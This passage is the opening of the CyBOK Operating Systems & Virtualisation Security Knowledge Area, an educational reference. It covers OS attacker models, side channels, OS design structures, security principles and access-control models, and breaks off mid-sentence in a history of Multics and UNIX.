Operating Systems &

Virtualisation Security
Knowledge Area
Version 1.0.1
Herbert Bos Vrije Universiteit Amsterdam

EDITOR
Andrew Martin Oxford University

REVIEWERS
Chris Dalton Hewlett Packard
David Lie University of Toronto
Gernot Heiser University of New South Wales
Mathias Payer École Polytechnique Fédérale de Lausanne
 The Cyber Security Body Of Knowledge
www.cybok.org

COPYRIGHT
© Crown Copyright, The National Cyber Security Centre 2021. This information is licensed
under the Open Government Licence v3.0. To view this licence, visit:
http://www.nationalarchives.gov.uk/doc/open-government-licence/
When you use this information under the Open Government Licence, you should include the
following attribution: CyBOK © Crown Copyright, The National Cyber Security Centre 2021,
licensed under the Open Government Licence: http://www.nationalarchives.gov.uk/doc/open-
government-licence/.
The CyBOK project would like to understand how the CyBOK is being used and its uptake.
The project would like organisations using, or intending to use, CyBOK for the purposes
of education, training, course development, professional development etc. to contact it at
[email protected] to let the project know how they are using CyBOK.
Version 1.0.1 is a stable public release of the Operating Systems & Virtualisation Security
Knowledge Area.

KA Operating Systems & Virtualisation Security | July 2021 Page 1

The Cyber Security Body Of Knowledge
www.cybok.org

CHANGELOG

Version date Version number Changes made

July 2021 1.0.1 Updated copyright statement; amended “issue” to “ver-
sion”; amended typos
October 2019 1.0

KA Operating Systems & Virtualisation Security | July 2021 Page 2

 The Cyber Security Body Of Knowledge
www.cybok.org

INTRODUCTION
In this Knowledge Area, we introduce the principles, primitives and practices for ensuring
security at the operating system and hypervisor levels. We shall see that the challenges related
to operating system security have evolved over the past few decades, even if the principles
have stayed mostly the same. For instance, when few people had their own computers and
most computing was done on multi-user (often mainframe-based) computer systems with
limited connectivity, security was mostly focused on isolating users or classes of users from
each other1 . Isolation is still a core principle of security today. Even the entities to isolate
have remained, by and large, the same. We will refer to them as security domains. Traditional
security domains for operating systems are processes and kernels, and for hypervisors,
Virtual Machines (VMs). Although we may have added trusted execution environments and
a few other security domains in recent years, we still have the kernel, user processes and
virtual machines as the main security domains today. However, the threats have evolved
tremendously, and in response, so have the security mechanisms.
As we shall see, some operating systems (e.g., in embedded devices) do not have any notion
of security domains whatsoever, but most distinguish between multiple security domains such
as the kernel, user processes and trusted execution environments. In this Knowledge Area,
we will assume the presence of multiple, mutually non-trusting security domains. Between
these security domains, operating systems manage a computer system’s resources such as
CPU time (through scheduling), memory (through allocations and address space mappings)
and disk blocks (via file systems and permissions). However, we shall see that protecting
such traditional, coarse-grained resources is not always enough and it may be necessary to
explicitly manage the more low-level resources as well. Examples include caches, Transaction
Lookaside Buffers (TLBs), and a host of other shared resources. Recall that Saltzer and
Schroeder’s Principle of Least Common Mechanism [1] states that every mechanism shared
between security domains may become a channel through which sensitive data may leak.
Indeed, all of the above shared resources have served as side channels to leak sensitive
information in attack scenarios.
As the most privileged components, operating systems and hypervisors play a critical role
in making systems (in)secure. For brevity, we mainly use the term operating system and
processes in the remainder of this knowledge area and refer to hypervisors and VMs explicitly
where the distinction is important2 .
While security goes beyond the operating system, the lowest levels of the software stack form
the bedrock on which security is built. For instance, the operating system may be capable
of executing privileged instructions not available to ordinary user programs and typically
offers the means to authenticate users and to isolate the execution and files of different
users. While it is up to the application to enforce security beyond this point, the operating
system guarantees that non-authorised processes cannot access its files, memory, CPU time,
or other resources. These security guarantees are limited by what the hardware can do. For
instance, if a CPU’s Instruction Set Architecture (ISA) does not have a notion of multiple
1
A situation, incidentally, that is not unlike that of shared clouds today.
2
Targeted publications about developments in threats and solutions for virtualised environments have ap-
peared elsewhere [2]

KA Operating Systems & Virtualisation Security | July 2021 Page 3

 The Cyber Security Body Of Knowledge
www.cybok.org

privilege levels or address space isolation to begin with, shielding the security domains from
each other is difficult—although it may still be possible using language-based protection (as
in the experimental Singularity operating system [3]).
The security offered by the operating system is also threatened by attacks that aim to evade
the system’s security mechanisms. For instance, if the operating system is responsible for
the separation between processes and the operating system itself gets compromised, the
security guarantees are void. Thus, we additionally require security of the operating system.
After explaining the threat model for operating system security, we proceed by classifying
the different design choices for the underlying operating system structure (monolithic versus
microkernel-based, multi-server versus libraryOS, etc.), which we then discuss in relation
to fundamental security principles and models. Next, we discuss the core primitives that
operating systems use to ensure different security domains are properly isolated and access
to sensitive resources is mediated. Finally, we describe important techniques that operating
systems employ to harden the system against attacks.

1 ATTACKER MODEL
[4, c1-c9][5, c9][6][2]
We assume that attackers are interested in violating the security guarantees provided by the
operating system or hypervisor: leak confidential data (e.g., crypto keys), modify data that
should not be accessible (e.g., to elevate privileges) or limit the availability of the system
and its services (e.g., by crashing the system or hogging its resources). In this knowledge
area, we focus on the technical aspects of security, leaving aside insider threats, human
behaviour, physical attacks, project management, company policies, etc. Not because they
are not important, but because they are beyond OS control and would require a knowledge
area of their own. Table 1 lists some of the threats and attack methods that we do consider.
The simplest way to compromise the system is to inject a malicious extension into the heart
of the operating system. For instance, in monolithic systems such as Linux and Windows,
this could be a malicious driver or kernel module, perhaps inadvertently loaded as a Trojan,
that has access to all privileged functionality [7]. To maintain their hold on the system in a
stealthy manner regardless of what the operating system or hypervisor may do, the attackers
may further infect the system’s boot process (e.g., by overwriting the master boot record or
the Unified Extensible Firmware Interface (UEFI), firmware)—giving the malicious code control
over the boot process on every reboot, even before the operating system runs, allowing it to
bypass any and all operating system level defenses [8].
Besides using Trojans, attackers frequently violate the security properties without any help
from the user, by exploiting vulnerabilities. In fact, attackers may use a wide repertoire of
methods. For instance, they commonly abuse vulnerabilities in the software, such as memory
errors [6] to change code pointers or data in the operating system and violate its integrity,
confidentiality or availability. By corrupting a code pointer, they control where the program
resumes execution after the call, jump or return instruction that uses the corrupted code
pointer. Changing data or data pointers opens up other possibilities, such as elevating the
privilege level of an unprivileged process to ‘root’ (giving all-powerful ’system’ privileges) or
modifying the page tables to give a process access to arbitrary memory pages. Likewise, they
may use such bugs to leak information from the operating system by changing which or how
much data is returned for a system call, or a network request.

KA Operating Systems & Virtualisation Security | July 2021 Page 4

The Cyber Security Body Of Knowledge
www.cybok.org

Attack Description
Malicious extensions Attacker manages to convince the system to load a malicious driver
or kernel module (e.g., as a Trojan).
Bootkit Attacker compromises the boot process to gain control even before
the operating system gets to run.
Memory errors (software) Spatial and temporal memory errors allow attackers (local or remote)
to divert control flow or leak sensitive information.
Memory corruption (hardware) Vulnerabilities such as Rowhammer in DRAM allow attackers (local
or remote) to modify data that they should not be able to access.
Uninitalised data leakage The operating system returns data to user programs that is not prop-
erly initialised and may contain sensitive data.
Concurrency bugs and double fetch Example: the operating system uses a value from userspace twice
(e.g., a size value is used once to allocate a buffer and later to copy
into that buffer) and the value changes between the two uses.
Side channels (hardware) Attackers use access times of shared resources such as caches and
TLBs to detect that another security domain has used the resource,
allowing them to leak sensitive data.
Side channels (speculative) Security checks are bypassed in speculative or out-of-order execu-
tion and while results are squashed they leave a measurable trace in
the micro-architectural state of the machine.
Side channels (software) Example: when operating systems / hypervisors use features such
as memory deduplication, attackers can measure that another secu-
rity domain has the same content.
Resource depletion (DoS) By hogging resources (memory, CPU, buses, etc.), attackers prevent
other programs from making progress, leading to a denial of service.
Deadlocks/hangs (DoS) The attacker brings the system to a state where no progress can be
made for some part of the software, e.g., due to a deadlock (DoS).

Table 1: Known attack methods / threats to security for modern operating systems

KA Operating Systems & Virtualisation Security | July 2021 Page 5

 The Cyber Security Body Of Knowledge
www.cybok.org

Attackers may also abuse vulnerabilities in hardware, such as the Rowhammer bug present
in many DRAM chips [9]. Since bits in memory chips are organised in rows and packed very
closely together, accessing a bit in one row may cause the neighbouring bit in the adjacent row
to leak a small amount of charge onto its capacitor—even though that bit is in a completely
different page in memory. By repeatedly accessing the row at high frequency (‘hammering’),
the interference accumulates so that, in some cases, the neighbouring bit may flip. We do
not know in advance which, if any, of the bits in a row will flip, but once a bit flips, it will flip
again if we repeat the experiment. If attackers succeed in flipping bits in kernel memory, they
enable attacks similar to those based on software-based memory corruption. For instance,
corrupting page tables to gain access to the memory of other domains.
Another class of attacks is that of concurrency bugs and double fetch [10, 11]. The double
fetch is an important problem for an operating system and occurs when it uses a value from
userspace twice (e.g., a size value is used once to allocate a buffer and later to copy into
that buffer). Security issues such as memory corruption arise if there is a race between the
operating system and the attacker, and the attacker changes the userspace value in between
the two accesses and makes it smaller. It is similar to a Time Of Check Time Of Use (TOCTOU)
attack, except that the value modified is used twice.
In addition to direct attacks, adversaries may use side channels to leak information indirectly,
for instance by means of cache sidechannels [12]. There are many variants, but a common
one consists of attackers filling a cache set with their own data or code and then periodically
accessing these addresses. If any of the accesses is significantly slower, they will know that
someone else, presumably the victim, also accessed data/code that falls in the same cache
set. Now assume that the victim code calls functions in a secret dependent way. For instance,
an encryption routine processes a secret key bit by bit and calls function foo if the bit is 0,
and bar if it is 1, where foo and bar are in different cache sets. By monitoring which cache
sets are used by the side channel, the attackers quickly learn the key.
Another famous family of hardware side channels abuses speculative and out-of-order execu-
tion [13, 14]. For performance, modern CPUs may execute instructions ahead of time—before
the preceding instructions have been completed. For instance, while waiting for the condition
of a conditional branch to be resolved, the branch predictor may speculate that the outcome
will be ‘branch taken’ (because that was the outcome for the last n times), and speculatively
execute the instructions corresponding to the taken branch. If it turns out that it was wrong,
the CPU will squash all the results of the speculatively executed instructions, so that none of
the stores survive in registers or memory. However, there may still be traces of the execution
in the micro-architectural state (such as the content of caches, TLBs and branch predictors
that are not directly visible in the instruction set architecture). For instance, if a speculative
instruction in a user program reads a sensitive and normally inaccessible byte from memory
in a register and subsequently uses it as an offset in a userspace array, the array element
at that offset will be in the cache, even though the value in the register is squashed as soon
as the CPU discovers that it should not have allowed the access. The attacker can time the
accesses to every element in the array and see if one is significantly faster (in the cache). The
offset of that element will be the secret byte. In other words, the attacker can use a cache
side channel to extract the data that was accessed speculatively.
More recent attacks show that the hardware vulnerabilities related to speculation and out-
of-order execution may be more disastrous than we thought. The Foreshadow attack [15]
abuses the fact that Intel CPUs read from the Level 1 cache under speculative execution
whenever a memory page is marked as not present—without properly checking the ownership

KA Operating Systems & Virtualisation Security | July 2021 Page 6

 The Cyber Security Body Of Knowledge
www.cybok.org

of the data at that physical address. Worse, the vulnerability known as Rogue In-Flight Data
(RIDL) [16] (that attackers can exploit without privileges, even from JavaScript in browsers)
and without caring about addresses, shows that Intel CPUs constantly feed speculatively
executing instructions with data from arbitrary security domains all the time, via a variety of
temporary micro-architectural buffers.
Mitigating these attacks require not just changes in the hardware but also deep and often
complex involvement of the operating system. For instance, the operating system may need
to flush caches and buffers that could leak data, provide guarantees that no speculation takes
place across certain branches, or schedule different security domains on separate cores, etc.
Besides caches, hardware side channels can use all kinds of shared resources, including
TLBs, MMUs, and many other components [17]. Indeed, side channels need not be hardware
related at all. For instance, memory deduplication and page caches, both implemented in
the operating system, are well-known sources for side channels. Focusing on the former
for illustration purposes, consider a system that aggressively deduplicates memory pages:
whenever it sees two pages with the same content, it adjusts the virtual memory layout so
that both virtual pages point to the same physical page. This way, it needs to keep only one
of the physical pages to store the content, which it can share in a copy-on-write fashion. In
that case, a write to that page takes longer (because the operating system must copy the
page again and adjust its page table mappings), which can be measured by an attacker. So, if
a write to page takes significantly longer, the attacker knows that some other program also
has a copy of that content—a side channel that tells the attacker something about a victim’s
data. Researchers have shown that attackers may use such coarse-grained side channels to
leak even very fine-grained secrets [18]. In many of the side channels, the issue is a lack of
isolation between security domains in software and in hardware (e.g., there may be no or too
little isolation during hardware-implemented speculative execution). It is important to realise
that domain isolation issues extend to the hardware/software interface.
For confidentiality in particular, information leaks may be subtle and seemingly innocuous, and
still lead to serious security problems. For instance, the physical or even virtual addresses of
objects may not look like very sensitive information, until we take into account code reuse [19]
or Rowhammer [9] attacks that abuse knowledge of the addresses to divert control flow to
specific addresses or flip specific bits.
As for the origin of the attacks, they may be launched from local code running natively on
the victim’s machine in user space, (malicious) operating system extensions, scripting code
fetched across the network and executed locally (such as JavaScript in a browser), malicious
peripherals, or even remote systems (where attackers launch their exploit across the network).
Clearly, a remote attack is harder to carry out than a local one.
In some cases, we explicitly extend the attacker model to include malicious operating systems
or malicious hypervisors as well. These attackers may be relevant in cloud-based systems,
where the cloud provider is not trusted, or in cases where the operating system itself has been
compromised. In these cases, the goal is to protect the sensitive application (or a fragment
thereof), possibly running in special hardware-protected trusted execution environments or
enclaves, from the kernel or hypervisor.
A useful metric for estimating the security of a system is the attack surface [20]—all the differ-
ent points that an attacker can reach and get data to or from in order to try and compromise
the system. For instance, for native code running locally, the attack surface includes all the
system calls the attacker can execute as well as the system call’s arguments and return

KA Operating Systems & Virtualisation Security | July 2021 Page 7

 The Cyber Security Body Of Knowledge
www.cybok.org

values, together with all the code implementing the system calls, which the attacker can
reach. For remote attackers, the attack surface includes the network device drivers, part of the
network stack, and all the application code handling the request. For malicious devices, the
attack surface may include all the memory the device may access using DMA or the code and
hardware functions with which the device may interact. Note, however, that the exposure of
more code to attackers is only a proxy metric, as the quality of the code differs. In an extreme
case, the system is formally verified so that a wide range of common vulnerabilities are no
longer possible.

2 THE ROLE OF OPERATING SYSTEMS AND THEIR DESIGN

IN SECURITY
[5, c1,c7c9][21, c1]
At a high level, operating systems and hypervisors are tasked with managing the resources of a
computer system to guarantee a foundation on which it is possible to build secure applications
with respect to confidentiality, integrity and availability.
The main role of these lowest layers of the software stack with respect to security is to
provide isolation of security domains and mediation of all operations that may violate the
isolation. In the ideal case, the operating system shields any individual process from all other
processes. For instance, peripheral processes should not be able to access the memory
allocated to the primary process, learn anything about the activities related to that primary
process except those which the process chooses to reveal, or prevent the process from using
its allocated resources, such as CPU time indefinitely. Some operating systems may even
regulate the information flows such that top secret data can never leak to processes without
the appropriate clearance, or classified data cannot be modified by processes without the
appropriate privilege levels.
Digging a little deeper, we can distinguish between control and data plane operations and
we see that isolation in operating systems involves both. In memory isolation, the operating
systems operate at the control plane when it configures the MMU (memory management
unit), which is then responsible for the isolation without much involvement by the operating
system. In most other interactions, for instance when operating on arguments of system
calls provided by unprivileged security domains, an operating system operates at both planes.
The lack of separation between the planes may easily lead to vulnerabilities—for instance,
when the operating system decides to reuse memory pages that previously belonged to one
security domain (with access isolation enforced by the MMU) in another domain without
properly overwriting the (possibly sensitive) data on that page.
There are many ways to design an operating system. Fig. 1 illustrates four extreme design
choices. In Fig. 1(a), the operating system and the application(s) run in a single security
domain and there is no isolation whatsoever. Early operating systems worked this way, but
so do many embedded systems today. In this case, there is little to no isolation between the
different components in the system and an application can corrupt the activities of the File
System (FS), the network stack, drivers, or any other component of the system.
Fig. 1(b) shows the configuration of most modern general-purpose operating systems, where
most of the operating system resides in a single security domain, strictly isolated from the
applications, while each application is also isolated from all other applications. For instance,

KA Operating Systems & Virtualisation Security | July 2021 Page 8

 The Cyber Security Body Of Knowledge
www.cybok.org

this is the structure of Windows, Linux, OS X and many of the descendants of the original
UNIX [22]. Since almost every component of the operating system runs in a single security
domain, the model is very efficient because the components interact simply by function calls
and shared memory. The model is also safe as long as every component is benign. However,
if attackers manage to compromise even a single component, such as a driver, all security
is void. In general, device drivers and other operating system extensions (e.g., Linux Kernel
Modules) are important considerations for the security of a system. Often written by third
parties and more buggy than the core operating system code, extensions running in the
single security domain of the operating system may compromise the security of the system
completely.
Interestingly, the boundary between the kernel and other security domains in such systems
is often a bit fuzzier now that operating systems can bypass the kernel for, say, high-speed
networking, or implement non performance critical operating system components as user
processes. Examples include the File System in User Space (FUSE) in UNIX operating systems
and the User Mode Driver Framework (UMDF) in Windows. Even so, most of the operating
system functionality still forms a single monolithic security domain.
Fig. 1(c) shows the extreme breakup in separate processes of all the components that make
up the operating system in a multi-server operating system [23, 24]. The configuration is po-
tentially less efficient than the previous model, because all the interactions between different
components of the operating system involve Inter-Process Communication (IPC). In addition,
the operating system functions as a distributed system and anyone who has ever built a
distributed system knows how complicated the problems may get. However, the advantage
of a multi-server system is that a compromised driver, say, cannot so easily compromise
the rest of the system. Also, while from a conceptual perspective, the multi-server looks
like a distributed system, a lot of the complexity of a real distributed system is due to unre-
liable communication and this does not exist in multi-server systems. The common view
is that microkernel-based multi-server designs have security and reliability advantages over
monolithic and single-domain designs, but incur somewhat higher overheads—the price of
safety.
Finally, Fig. 1(d) shows a situation that, at first glance, resembles that of Fig. 1(a): on top of a
minimal kernel that multiplexes the underlying resources, applications run together with a
minimal ‘library operating system’ (libOS [25, 26]). The libOS contains code that is typically
part of the operating system, but is directly included with the application. This configuration
allows applications to tailor the operating system exactly according to their needs and leave
out all the functionality they were not going to use anyway. Library operating systems were
first proposed in the 1990s (e.g., in MIT’s Exokernel and Cambridge’s Nemesis projects). After
spending a few years in relative obscurity, they are becoming popular again—especially in
virtualised environments where they are commonly referred to as Unikernels [27]. In terms
of security, Unikernels are difficult to compare against, say, microkernel-based multi-server
systems. On the one hand, they do not have the extreme separation of operating system
components. On the other, they allow the (library) operating system code to be much smaller
and less complex—it only has to satisfy the needs of this one application. Moreover, the library
cannot compromise isolation: it is part of this application’s trusted computing base and no
other.
The debate about which design is better goes back to the famous flame war between Andrew
S. Tanenbaum and Linus Torvalds in 1992. By that time, MINIX [28], a small UNIX-like operating
system developed by Tanenbaum, had been around for half a decade or so, and was gaining

KA Operating Systems & Virtualisation Security | July 2021 Page 9

 The Cyber Security Body Of Knowledge
www.cybok.org

Application Application Application Application

1 2 1 2

FS Network ... FS Network ... FS Network ...

App 1 App 2 App 3
ProcessMgr MemMgr ProcessMgr MemMgr ProcessMgr MemMgr
net disk ... libOS libOS libOS
Scheduler Application Scheduler (just bare (just bare (just bare
driver driver driver minimum) minimum) minimum)
net disk ... net disk ...
driver driver driver driver driver driver Scheduler Scheduler
Application(s) + OS Monolithic OS (Linux, Windows, ...) Microkernel-based multi-server OS Exokernel/microkernel/hypervisor
(single domain) (multiple domains) (many domains) (many domains)

Hardware Hardware Hardware Hardware

(a) (b) (c) (d)

Figure 1: Extreme design choices for operating systems: (a) single domain (sometimes used
in embedded systems), (b) monolithic OS (Linux, Windows, and many others), (c) microkernel-
based multi-server OS (e.g., Minix-3) and (d) Unikernel / Library OS

traction as an education operating system around the world—especially since Bell Labs’
original UNIX was sold as a commercial product with a restrictive license prohibiting users
from modifying it. One of MINIX’s users was Torvalds, then a Finnish student who announced
a new operating system kernel in a post in the comp.os.minix newsgroup on Usenet. In
January 1992, Tanenbaum criticised the design for its lack of portability, and also took aim at
Linux’s monolithic design, claiming Linux was obsolete from the outset. Torvalds responded
with his own criticism of MINIX. This heated exchange contained increasingly sophisticated
arguments, many of which still stand today, so much so that the question of who won the
debate remains unanswered.
That said, Linux has become wildly popular and few people would consider it obsolete. It is
also clear that ideas from multi-server systems such as MINIX have been incorporated into
existing operating systems and hypervisor-based systems. Interestingly, at the time of writing
even MINIX itself is running in hundreds of millions of Intel processors as a miniature operating
system on a separate microprocessor known as the Management Engine. In addition, now
that the CPUs in modern systems are increasingly elaborate System on a Chips (SoCs), the
hardware itself is starting to look like a distributed system and some researchers explicitly
advocate designing the operating system accordingly, with a focus on message passing rather
than memory sharing for communication [29].
The situation for virtualised environments, in general, is comparable to that of operating
systems. We have already seen that in one extreme case, the entire virtual machine with the
application and a stripped-down operating system can form a single domain. A more common
case is to have a hypervisor at the lowest level supporting one or more operating systems
such as Linux or Windows in a virtual machine. In other words, these hypervisors provide each
of the operating systems with the illusion that they run on dedicated hardware. At the other
end of the spectrum, we find the entire system decomposed into separate, relatively small,
virtual machines. Indeed, some operating systems, such as QubesOS completely integrate
the concepts of virtualisation and operating systems by allowing individual user processes
to be isolated in their own virtual machines. Finally, as we have already seen, Unikernels are
popular in virtualised environments, on top of hypervisors.
Incidentally, one of the drawbacks of virtual machines is that each operating system image
uses storage and adds redundancy, as every system will think that it is the king of the hardware
mountain, while in reality it is sharing resources. Moreover, each operating system in a

KA Operating Systems & Virtualisation Security | July 2021 Page 10

 The Cyber Security Body Of Knowledge
www.cybok.org

virtual machine needs separate maintenance: updates, configuration, testing, etc. A popular
alternative is, therefore, to virtualise at the operating system level. In this approach, multiple
environments, known as containers, run on top of a single shared operating system. The
containers are isolated from each other as much as possible and have their own kernel name
spaces, resource limits, etc., but ultimately share the underlying operating system kernel, and
often binaries and libraries. Compared to virtual machines, containers are more lightweight.
However, if we ignore the management aspects for a moment, virtual machines are often
perceived as more secure than containers, as they partition resources quite strictly and share
only the hypervisor as a thin layer between the hardware and the software. On the other hand,
some people believe that containers are more secure than virtual machines, because they are
so lightweight that we can break applications into ‘microservices’ with well-defined interfaces
in containers. Moreover, having fewer things to keep secure reduces the attack surface overall.
Early work on containers (or ‘operating system level virtualisation” is found in the chroot
call that was first added to Version 7 Unix in 1979 [30]. In 2000, FreeBSD released Jails [31],
which went much further in operating system virtualisation. Today, we have many container
implementations. A popular one is Docker [32].
A final class of operating systems explicitly targets small and resource constrained devices
such as those found in the Internet of Things (IoT). While everybody has a different opinion on
what IoT means and the devices to consider range from smartphones to smart dust, there is
a common understanding that the most resource constrained devices should be part of it. For
such devices, even stripped down general-purpose operating systems may be too bulky and
operating systems are expected to operate in just a few kilobytes. As an extreme example,
popular IoT operating systems such as RIOT can be less than 10 KB in size and run on systems
ranging from 8-bit microcontrollers to general-purpose 32-bit CPUs, with or without advanced
features such as Memory Management Units (MMUs), etc. The abundance of features and
application isolation that we demand from operating systems such as Windows and Linux
may be absent in these operating systems, but instead there may be support for functionality
such as real-time schedule or low-power networking which are important in many embedded
systems.
Since we are interested in the security guarantees offered by the operating system, we will
assume that there are multiple security domains. In the next section, we will elaborate
on the advantages and disadvantages of the different designs from the viewpoint of well-
established security principles. Our focus will be on the security of the design and the way
in which we can stop attacks, but not before observing that there is more to security at this
level. In particular, management and maintainability of the system—with respect to updates,
extensions, configuration, etc.—play an important role.

3 OPERATING SYSTEM SECURITY PRINCIPLES AND

MODELS
[5, c9][33, c4,c7][1][34]
Since operating systems (and/or hypervisors) are the foundation upon which rests the security
of all higher-level components in the system, it is common to hear their designs debated
in terms of security principles such as those of Saltzer and Schroeder (see Table 2 ), and
security models such as the Bell-LaPadula [35] and Biba [36] access models—the topic of
the next few subsections. While Saltzer and Schroeder’s security principles are arguably the

KA Operating Systems & Virtualisation Security | July 2021 Page 11

 The Cyber Security Body Of Knowledge
www.cybok.org

Principle of. . .
Economy of mechanism
Fail-safe defaults
Complete mediation
Open design
Separation of privilege
Least privilege / least authority
Least common mechanism
Psychological acceptability

Table 2: Saltzer & Schroeder’s security principles [1].

most well-known, we should mention that others have since added to the list. For instance,
important additions that we discuss in this text include the Principle of Minimising the Amount
of Trusted Code (the Trusted Computing Base) and the Principle of Intentional Use [37].

3.1 Security principles in operating systems

From a security perspective, the walls between different security domains should be as high
and as thick as possible—perfect isolation. Any interaction between domains should be
subject to rigorous mediation, following the Principle of Complete Mediation, and security
domains should have as few mechanisms (especially those involving a shared state such
as global variables) in common as possible, adhering to the Principle of Least Common
Mechanism. For instance, given a choice between adding a shared procedure with global
variables to the operating system kernel and making it available in a user-space library that
behaves in an isolated manner for each process, we should choose the latter option, assuming
it does not increase the code size too much or violate any other principles or constraints.
Moreover, mediation should follow the Principle of Fail-Safe Defaults: the policy for deciding
whether domains can access the resources of other domains should be: ‘No, unless’. In other
words, only explicitly authorised domains should have access to a resource. The principles
of Least Common Mechanism and Economy of Mechanism also suggest that we should
minimise the amount of code that should be trusted, the Trusted Computing Base (TCB). Since
studies have shown that even good programmers introduce between 1 and 6 bugs per 1000
lines of code, assuming the complexity of the code is similar, a small TCB translates to fewer
bugs, a smaller attack surface and a better chance of automatically or manually verifying the
correctness of the TCB with respect to a formal specification.
With respect to the designs in Fig. 1, we note that if there is a single domain, the TCB comprises
all the software in the system, including the applications. All mechanisms are ‘common’ and
there is virtually no concept of fail-safe defaults or rigorously enforced mediation. For the
monolithic OS design, the situation is a little better, as at least the operating system is shielded
from the applications and the applications from each other. However, the operating system
itself is still a single security domain, inheriting the disadvantages of Fig. 1(a). The extreme
decomposition of the multi-server operating system is more amenable to enforcing security:
we may enforce mediation between individual operating components in a minimal-size mi-
crokernel with fail-safe defaults. Much of the code that is in the operating system’s security
domain in the other designs, such as driver code, is no longer part of the TCB. Unikernels are
an interesting alternative approach: in principle, the operating system code and the application
run in a single domain, but the libOS code is as small as possible (Economy of Mechanism)
and the mechanism common to different applications is minimised. Resource partitioning

KA Operating Systems & Virtualisation Security | July 2021 Page 12

 The Cyber Security Body Of Knowledge
www.cybok.org

can also be mediated completely at the Unikernel level. For a Unikernel application, the TCB
consists only of the underlying hypervisor/Exokernel and the OS components it decides to
use. Moreover, the library implementing the OS component is only in this application’s TCB,
as it is not shared by others.
Another principle, that of Open Design, is perhaps more controversial. In particular, there have
been endless discussions about open source (which is one way to adhere to the principle)
versus closed source and their merits and demerits with respect to security. The advantage of
an open design is that anybody can study it, increasing the probability of finding bugs in general
and vulnerabilities in particular3 . A similar observation was made by Auguste Kerckhoffs about
crypto systems and is often translated as that one should not rely on security by obscurity.
After all, the obscurity is unlikely to last forever and when the bad people find a vulnerability
before the good people do, you may have a real problem. The counter argument is that with
an open design, the probability of them finding the bug is higher.
In contrast, there is little doubt that a design with a strict decomposition is more in line with
the Principle of Least Privilege and the Principle of Privilege Separation than one where most
of the code runs in a single security domain. Specifically, a monolithic system has no true
separation of privileges of the different operating system components and the operating
system always runs with all privileges. In other words, the operating system code responsible
for obtaining the process identifier of the current process runs with the power to modify page
tables, create root accounts, modify any file on disk, read and write arbitrary network packets,
and crash the entire system at any time it sees fit. Multi-server systems are very different
and may restrict what calls individual operating system components can make, limiting their
powers to just those privileges they need to complete their job, adhering to the Principle Of
Least Authority (POLA) with different components having different privileges (Principle of
Privilege Separation). Unikernels offer a different and interesting possibility for dealing with
this problem. While most of the components run in a single domain (no privilege separation or
POLA), the operating system is stripped down to just the parts needed to run the application,
and the Unikernel itself could run with just the privileges required for this purpose.
Of course, however important security may be, the Principle of Psychological Acceptability
says that in the end the system should still be usable. Given the complexity of operating
system security, this is not trivial. While security hardened operating systems such as SELinux
and QubesOS offer clear security advantages over many other operating systems, few ordinary
users use them and even fewer feel confident to configure the security settings themselves.
3
On the other hand, researchers have encountered security bugs that are years or sometimes decades old,
even in security critical open source software such as OpenSSL or the Linux kernel, suggesting that the common
belief that "given enough eyeballs, all bugs are shallow” (also known as Linus’ Law) does not always work
flawlessly.

KA Operating Systems & Virtualisation Security | July 2021 Page 13

 The Cyber Security Body Of Knowledge
www.cybok.org

3.2 Security models in operating systems

An important question in operating systems concerns the flow of information: who can read
and write what data? Traditionally, we describe system-wide policies in so-called access
control models.
For instance, the Bell-LaPadula model [35] is a security access model to preserve the confi-
dentiality of information, initially created for the US government. In the 1970s, the US military
faced a situation where many users with different clearance levels would all be using the
same mainframe computers—requiring a solution known as Multi-Level Security. How could
they ensure that sensitive information would never leak to non-authorised personnel? If it
adheres to the model designed by David Bell and Leonard LaPadula, a system can handle
multiple levels of sensitive information (e.g., unclassified, secret, top secret) and multiple
clearance levels (e.g., the clearance to access unclassified and secret, but not top secret data)
and keep control over the flow of sensitive information. Bell-LaPadula is often characterised
as ‘read down, write up’. In other words, a subject with clearance level secret may create
secret or top secret documents, but not unclassified ones, as that would risk leaking secret
information. Likewise, a user can only read documents at their own security level, or below it.
Declassification, or lowering of security levels (e.g., copying data from a top secret to a secret
document) can only be done explicitly by special, ‘trusted’ subjects. Strict enforcement of this
model prevents the leakage of sensitive information to non-authorised users.
Bell-LaPadula only worries about confidentiality. In contrast, the Biba model [36] arranges the
access mode to ensure data integrity. Just like in Bell-LaPadula, objects and subjects have
a number of levels of integrity and the model ensures that subjects at lower levels cannot
modify data at higher levels. This is often characterised as ‘read up, write down’, the exact
opposite of Bell-LaPadula.
Bell-LaPadula and Biba are access control models that the operating system applies when
mediating access to resources such as data in memory or files on disk. Specifically, they are
Mandatory Access Control (MAC) models, where a system-wide policy determines which users
have the clearance level to read or write which specific documents, and users are not able to
make information available to other users without the appropriate clearance level, no matter
how convenient it would be. A less strict access control model is known as Discretionary
Access Control (DAC), where users with access to an object have some say over who else
has access to it. For instance, DAC may restrict access to objects based on a user or process
identity or group membership. More importantly, DAC allows a user or process with access
rights to an object to transfer those rights to other users or processes. Having only this
group-based DAC makes it hard to control the flow of information in the system in a structured
way. However, it is possible to combine DAC and MAC, by giving users and programs the
freedom to transfer access rights to others, within the constraints imposed by MAC policies.
For completeness, we also mention Role-Based Access Control (RBAC) [38], which restricts
access to objects on the basis of roles which may be based on job functions. While intuitively
simple, RBAC allows one to implement both DAC and MAC access control policies.

KA Operating Systems & Virtualisation Security | July 2021 Page 14

 The Cyber Security Body Of Knowledge
www.cybok.org

4 PRIMITIVES FOR ISOLATION AND MEDIATION

[5, c9][39, c1-c9],[34][33, c4,c7][40]
In the 1960s, Multics [41] became the first major operating system designed from the ground
up with security in mind. While it never became very popular, many of its security innovations
can still be found in the most popular operating systems today. Even if some features were not
invented directly by the Multics team, their integration in a single, working, security-oriented
OS design was still novel. Multics offered rings of protection, virtual memory, segment-based
protection, a hierarchical file system with support for Discretionary Access Control (DAC) and
mandatory access control (MAC). Indeed, in many ways, the mandatory access control in
Multics, added at the request of the military, is a direct software implementation of the Bell-
LaPadula security model. Finally, Multics made sure that its many small software components
were strongly encapsulated, accessible only via their published interfaces where mediation
took place.
If any of this sounds familiar, this is not surprising, as Jerome Saltzer was one of the Multics
team leaders. The Trusted Computer System Evaluation Criteria (TCSEC), better known
as the famous Orange Book [34], describes requirements for evaluating the security of a
computer system, and is strongly based on Multics. There is no doubt that Multics was very
advanced and perhaps ahead even of some modern operating systems, but this was also its
downfall—the system became so big and so complex that it arguably violated the Principle of
Psychological Acceptability for at least some of its developers. Frustrated, Ken Thomson and
Dennis Ritchie decided to write a new and much simpler operating system. As a pun and to
contrast it with Multics, they called it ‘Unics’, later spelt UNIX. Like all major general purpose
